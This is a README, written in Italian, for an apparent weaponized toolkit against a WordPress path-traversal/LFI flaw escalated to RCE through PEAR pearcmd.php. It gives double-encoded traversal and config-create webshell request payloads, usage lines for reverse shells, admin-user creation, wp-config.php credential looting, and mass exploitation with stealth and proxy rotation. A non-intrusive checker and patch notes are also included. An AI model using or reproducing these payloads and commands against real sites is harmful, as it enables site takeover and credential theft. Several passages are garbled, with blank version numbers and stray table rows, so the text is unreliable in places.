
Toolkit WordPress CVE-2026-87902 LFI-to-RCE con una catena di exploit weaponized (PEAR RCE, webshell, creazione admin, loot) e una versione SafeChecker non intrusiva e un risk auditor.

SOLO USO ETICO – TEST DI SICUREZZA AUTORIZZATI
Questo repository fornisce strumenti esclusivamente per professionisti della sicurezza autorizzati, blue team e penetration tester.
L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), Computer Misuse Act (Regno Unito), TCK 243/244 (Turchia) e leggi simili in tutto il mondo.
è una vulnerabilità critica di path traversal e local file inclusion (LFI) non autenticata in (versioni dalla alla ) che consente a un attaccante non autenticato di includere file locali arbitrari tramite il parametro di query , e in specifiche condizioni del server di escalare a concatenando il file PEAR . Punteggio CVSS: . Divulgata da attraverso il programma HackerOne di WordPress nel luglio 2026. Corretta nella il 22 settembre 2026, con backport fino alla 4.7.
.phppagenamepearcmd.phpLa falla interessa ogni release di WordPress dal 2016 — un decennio di versioni che hanno superato la revisione del codice senza essere rilevate. La causa principale è una singola chiamata di validazione mancante in uno dei percorsi di codice più utilizzati del CMS.
Risoluzione del template non sanificata – get_page_template() in wp-includes/template.php costruisce i candidati template dalla variabile di query pagename. Un percorso di codice adiacente nella stessa funzione applica validate_file() per bloccare le sequenze ../, ma il ramo $pagename non la chiama. Qualsiasi traversal in pagename passa senza controlli.
Bypass del traversal con doppia codifica – WordPress applica sanitize_title_for_query() a pagename, che sostituisce i punti letterali (.) con trattini per prevenire il traversal. Ma la funzione opera su input già decodificato e non decodifica ricorsivamente. Un attaccante invia %252e%252e%252f; il web server lo decodifica una volta in %2e%2e%2f; il sanitizer non vede punti letterali e lo lascia passare; poi get_page_template() chiama di nuovo urldecode() all'interno della funzione, producendo ../.
Precondizione della directory del tema – Il tema attivo deve contenere una directory di primo livello il cui nome inizia con page- (es. page-templates/). Il nome file costruito page-{pagename}.php sfugge quindi dalla root del tema tramite il traversal. I vecchi temi predefiniti (Twenty Twelve, Twenty Fourteen) e i popolari temi di terze parti (Neve, Hestia, Sydney) includono questa directory. Anche i temi child che ereditano da tali parent soddisfano la precondizione.
Sink LFI in locate_template() – Il percorso candidato viene passato a locate_template(), che cerca nelle directory del tema. Poiché il traversal risolve in un file al di fuori di quelle directory, e la funzione controlla solo file_exists(), qualsiasi file .php leggibile viene incluso con pieni privilegi del web server. Questo rende la LFI incondizionata su qualsiasi sito non patchato che soddisfi la precondizione del tema — incluso wp-config.php con le sue credenziali del database e i salt di autenticazione.
Escalation RCE tramite PEAR pearcmd.php – PEAR è incluso in molte installazioni PHP. Il suo pearcmd.php è normalmente solo CLI, ma quando register_argc_argv=On, PHP popola $_SERVER['argv'] dalla query string dell'URL. L'attaccante include pearcmd.php tramite la LFI, passa config-create come argomento e fornisce codice PHP più un percorso di output (/tmp/shell.php). PEAR scrive il codice dell'attaccante su disco; una seconda inclusione lo esegue.
Seconda via di sfruttamento – Una richiesta che combina name (slug della front-page), page_id (ID della pagina dei post), preview=true e un payload pagename devia WP_Query nel suo ramo post_name, che non riscrive mai pagename tramite sanitize_title_for_query(). Questo consente punti letterali nel traversal. Richiede un tema senza single.php.
Requisiti di configurazione del server – La RCE dipende da due condizioni comuni nelle distribuzioni reali: pearcmd.php presente/leggibile (frequente su shared hosting, cPanel, immagini Docker PHP ufficiali), e register_argc_argv=On (predefinito in PHP sotto la 8.5). PHP 8.5 ha cambiato il default in Off. Su un server moderno PHP 8.5+ senza PEAR, lo sfruttamento si ferma alla LFI.
La patch – WordPress 7.1.2 aggiunge due livelli di difesa: (a) la chiamata mancante a validate_file() nel ramo pagename, e (b) una nuova funzione _wp_is_template_path_allowed() chiamata da locate_template() per ogni template risolto. La funzione rifiuta i percorsi contenenti .., poi risolve il percorso reale tramite realpath() e verifica che si trovi all'interno di una delle directory del tema consentite. Questa difesa in profondità chiude il sink, non solo una via verso di esso.
Sfruttamento attivo in the wild – Prime richieste malevole osservate 5 ore dopo il rilascio della patch (17:44 UTC, 22 settembre 2026). Il traffico è aumentato di dieci volte nel giorno successivo. Osservate tre fasi: ricognizione config-show → rilevamento file core → weaponization config-create. I nomi dei file di payload includevano wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, scritti in /tmp e /var/tmp. IP attaccanti: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b.
Impatto – Esecuzione di codice con i privilegi del web server. Takeover completo del sito, furto di credenziali da wp-config.php, esfiltrazione di dati, installazione di webshell, creazione di utenti admin, reverse shell, attacchi supply-chain tramite plugin/temi modificati e movimento laterale verso servizi connessi. Il punteggio CVSS 9.2 riflette l'impatto sfruttabile via rete, senza autenticazione, con alto impatto su riservatezza/integrità/disponibilità. L'elevata complessità di attacco riflette le precondizioni del tema e del server, ma su tipico shared hosting tali condizioni sono frequentemente soddisfatte.
page-* nel tema attivo, impostare register_argc_argv=Off in php.ini, e bloccare il traversal con doppia codifica nel parametro pagename a livello di WAF.| Strumento | Scopo | Utente Previsto |
|---|---|---|
exploit.py | Toolkit completo weaponized con rilevamento LFI, catena RCE PEAR, creazione utente admin, installazione webshell, reverse shell, scansione di massa, modalità stealth, rotazione proxy e catena di attacco completa. | Red team / pentester autorizzati |
safecheck.py | Verificatore di vulnerabilità non intrusivo che rileva la versione di WordPress, valida l'esposizione e valuta il rischio senza includere alcun file o eseguire alcun payload. Genera report JSON. | Blue team / auditor di sicurezza |
| Funzionalità | exploit.py | safecheck.py |
|---|---|---|
| Rilevamento vulnerabilità | ✅ | ✅ |
| Rilevamento versione | ✅ | ✅ |
Controllo directory page-* del tema | ✅ | ✅ |
Raggiungibilità PEAR pearcmd.php | ✅ | ✅ |
Controllo register_argc_argv | ✅ | ✅ |
| Sonda comportamento WAF | ❌ | ✅ |
| Sonda LFI con doppia codifica | ✅ | ❌ |
RCE PEAR config-create | ✅ | ❌ |
| Creazione utente admin | ✅ | ❌ |
| Installazione webshell | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
Loot wp-config.php | ✅ | ❌ |
| Catena di attacco completa | ✅ | ❌ |
| Scansione di massa (multi‑thread) | ✅ | ✅ |
| Supporto proxy | ✅ | ✅ |
| Rotazione proxy | ✅ | ❌ |
| Rotazione User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Rate limiter | ✅ | ❌ |
| Modalità non intrusiva (safe) | ❌ | ✅ |
| Report di valutazione del rischio | ✅ | ✅ |
| Scenario | Strumento Consigliato |
|---|---|
| Blue Team – verificare se il tuo WordPress è vulnerabile | safecheck.py |
| Security Audit – valutazione di vulnerabilità non intrusiva | safecheck.py |
| Red Team – penetration testing autorizzato con sfruttamento completo | exploit.py |
| Bug Bounty – test per divulgazione responsabile | safecheck.py |
| Scansione di Massa – verifica di più target per vulnerabilità | exploit.py (solo rilevamento) |
| Incident Response – verificare se i sistemi sono compromessi | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py| Parametro | Descrizione |
|---|---|
-u, --url | URL WordPress target singolo (es. http://wordpress.example.com) |
-f, --file | File contenente la lista dei target (uno per riga) per la scansione di massa |
--pipe | Legge i target da stdin |
--exploit | Esegue lo sfruttamento dopo il rilevamento |
--create-admin | Crea utente admin persistente (formato: USER:PASS) |
--webshell | Installa webshell tramite RCE |
--reverse-shell | Attiva reverse shell (formato: LHOST:LPORT) |
--loot | Raccoglie wp-config.php e altri file |
--threads | Numero di thread per multi‑target (default: 8) |
--timeout | Timeout richiesta (default: 15s) |
--retry | Tentativi massimi (default: 3) |
--proxy | Proxy HTTP/HTTPS (es. http://127.0.0.1:8080) |
--proxy-list | File con proxy per la rotazione (uno per riga) |
--proxy-rotate | Strategia di rotazione proxy (round-robin, random, sticky) |
--jitter | Jitter casuale tra le richieste |
--jitter-range | Jitter min,max secondi (default: 0.1,2.0) |
--delay | Ritardo fisso tra le richieste |
--stealth | Abilita modalità stealth (rotazione UA + jitter) |
--insecure | Disabilita verifica TLS |
--user-agent | User-Agent personalizzato |
safecheck.py| Parametro | Descrizione |
|---|---|
-u, --url | URL WordPress target singolo (es. http://wordpress.example.com) |
-f, --file | File contenente la lista dei target (uno per riga) |
--pipe | Legge i target da stdin |
-t, --threads | Numero di thread per multi‑target (default: 8) |
--timeout | Timeout richiesta (default: 15s) |
--retry | Tentativi massimi (default: 3) |
--proxy | Proxy HTTP/HTTPS |
--jitter | Jitter casuale tra le richieste |
--jitter-range | Jitter min,max secondi (default: 0.1,2.0) |
--delay | Ritardo fisso tra le richieste |
--insecure | Disabilita verifica TLS |
--user-agent | User-Agent personalizzato |
--max-body | Dimensione massima del corpo della risposta |
--concurrent-per-host | Richieste concorrenti massime per host |
--exclude | Host da escludere separati da virgola |
-o, --output | Salva report JSON su file (.json, .csv, .html, .jsonl) |
--db | File database SQLite |
-v, --verbose | Output dettagliato |
-q, --quiet | Modalità silenziosa |
--no-banner | Sopprime il banner |
| # | Scenario | Comando |
|---|---|---|
| 1 | Verifica rapida vulnerabilità | python safecheck.py -u http://wordpress.example.com |
| 2 | Scansione dettagliata con report | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | Audit di massa da file | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit solo rilevamento | python exploit.py -u http://wordpress.example.com |
| 5 | Loot wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | Attacco completo con webshell | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | Crea utente admin persistente | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Reverse shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | Catena di attacco completa | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | Exploit di massa con stealth | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | Rotazione proxy | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
L'exploit utilizza i seguenti endpoint WordPress e passaggi di sfruttamento:
| Passo | Metodo | Endpoint | Descrizione |
|---|---|---|---|
| 1. Fingerprint | GET | / | Rileva WordPress tramite wp-content, wp-includes, wp-json |
| 2. Versione | GET | /feed/ | Estrae la versione tramite meta <generator> |
| 3. Page ID | GET | /wp-json/wp/v2/pages | Scopre un page_id valido |
| 4. Directory Tema | GET | /wp-content/themes/{theme}/page-templates/ | Conferma la precondizione page-* |
| 5. Sonda LFI | GET | /?page_id={id}&pagename={payload} | Traversal con doppia codifica per includere file locale |
| 6. Inclusione PEAR | GET | /?page_id={id}&pagename={pearcmd} | Include pearcmd.php |
| 7. RCE PEAR | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | Scrive file PHP tramite PEAR |
| 8. Esecuzione | GET | /?page_id={id}&pagename={outfile} | Include il file scritto → RCE |
| 9. Persistenza | GET | (tramite RCE) | Crea utente admin / webshell |
| 10. Loot | GET | /?page_id={id}&pagename={wp-config} | Legge wp-config.php tramite LFI |
# Esempio di traversal con doppia codifica
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# Catena RCE PEAR config-create
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# Trigger inclusione PEAR
GET /?page_id=2&pagename={encoded_output_path}
Questo software è fornito solo a scopo educativo e per test di sicurezza autorizzati.
| Raccomandazioni di mitigazione | ❌ | ✅ |
| Report JSON | ✅ | ✅ |
| Report CSV | ✅ | ✅ |
| Report HTML | ✅ | ✅ |
| Output SQLite | ✅ | ✅ |
| User‑Agent personalizzato | ✅ | ✅ |
| Controllo verifica SSL | ✅ | ✅ |
--max-body | Dimensione massima del corpo della risposta |
--concurrent-per-host | Richieste concorrenti massime per host |
--rate-limit | Richieste massime al secondo |
--exclude | Host da escludere separati da virgola |
-o, --output | Salva report su file (.json, .csv, .html, .jsonl) |
--db | File database SQLite |
-v, --verbose | Output dettagliato |
-q, --quiet | Modalità silenziosa |
--no-banner | Sopprime il banner |